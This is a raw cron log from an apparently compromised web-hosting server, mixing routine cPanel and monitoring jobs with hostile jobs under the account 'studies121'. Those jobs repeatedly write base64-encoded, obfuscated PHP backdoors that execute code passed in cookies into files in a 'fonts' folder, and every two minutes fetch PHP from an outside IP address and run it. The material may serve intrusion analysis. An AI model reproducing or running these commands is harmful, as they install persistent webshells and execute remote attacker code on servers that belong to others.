Sep 10 12:25:01 ip-184-168-122-23 CROND[6826]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:25:01 ip-184-168-122-23 CROND[6823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:25:01 ip-184-168-122-23 CROND[6824]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:25:01 ip-184-168-122-23 CROND[6822]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:25:01 ip-184-168-122-23 CROND[6825]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 10 12:26:01 ip-184-168-122-23 CROND[6958]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:26:01 ip-184-168-122-23 CROND[6960]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:26:01 ip-184-168-122-23 CROND[6961]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:26:01 ip-184-168-122-23 CROND[6963]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:26:01 ip-184-168-122-23 CROND[6962]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:27:01 ip-184-168-122-23 CROND[7057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:27:01 ip-184-168-122-23 CROND[7059]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:27:01 ip-184-168-122-23 CROND[7060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:27:01 ip-184-168-122-23 CROND[7061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:28:01 ip-184-168-122-23 CROND[7199]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:28:01 ip-184-168-122-23 CROND[7200]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:28:01 ip-184-168-122-23 CROND[7203]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:28:01 ip-184-168-122-23 CROND[7201]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:28:01 ip-184-168-122-23 CROND[7202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:29:01 ip-184-168-122-23 CROND[7412]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:29:01 ip-184-168-122-23 CROND[7411]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:29:01 ip-184-168-122-23 CROND[7414]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:29:01 ip-184-168-122-23 CROND[7413]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:30:01 ip-184-168-122-23 CROND[7577]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 10 12:30:01 ip-184-168-122-23 CROND[7580]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Sep 10 12:30:01 ip-184-168-122-23 CROND[7584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:30:01 ip-184-168-122-23 CROND[7579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:30:01 ip-184-168-122-23 CROND[7581]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:30:01 ip-184-168-122-23 CROND[7583]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:30:01 ip-184-168-122-23 CROND[7585]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:30:01 ip-184-168-122-23 CROND[7582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:30:01 ip-184-168-122-23 CROND[7586]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:31:01 ip-184-168-122-23 CROND[7762]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:31:01 ip-184-168-122-23 CROND[7763]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:31:01 ip-184-168-122-23 CROND[7766]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:31:01 ip-184-168-122-23 CROND[7768]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 10 12:31:01 ip-184-168-122-23 CROND[7767]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:32:01 ip-184-168-122-23 CROND[7885]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:32:01 ip-184-168-122-23 CROND[7889]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:32:01 ip-184-168-122-23 CROND[7890]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:32:01 ip-184-168-122-23 CROND[7888]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:32:01 ip-184-168-122-23 CROND[7887]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:33:01 ip-184-168-122-23 CROND[7991]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:33:01 ip-184-168-122-23 CROND[7994]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:33:01 ip-184-168-122-23 CROND[7993]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:33:01 ip-184-168-122-23 CROND[7996]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:34:01 ip-184-168-122-23 CROND[8092]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:34:01 ip-184-168-122-23 CROND[8093]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:34:01 ip-184-168-122-23 CROND[8096]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:34:01 ip-184-168-122-23 CROND[8097]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:34:01 ip-184-168-122-23 CROND[8098]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:35:01 ip-184-168-122-23 CROND[8232]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 10 12:35:01 ip-184-168-122-23 CROND[8235]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:35:01 ip-184-168-122-23 CROND[8236]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:35:01 ip-184-168-122-23 CROND[8237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:35:01 ip-184-168-122-23 CROND[8238]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:35:01 ip-184-168-122-23 CROND[8240]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 10 12:35:01 ip-184-168-122-23 CROND[8243]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 10 12:35:01 ip-184-168-122-23 CROND[8248]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 10 12:36:01 ip-184-168-122-23 CROND[8459]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 10 12:36:01 ip-184-168-122-23 CROND[8458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 10 12:36:01 ip-184-168-122-23 CROND[8464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 10 12:36:01 ip-184-168-122-23 CROND[8465]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 10 12:36:01 ip-184-168-122-23 CROND[8463]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 10 12:37:01 ip-184-168-122-23 CROND[8577]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
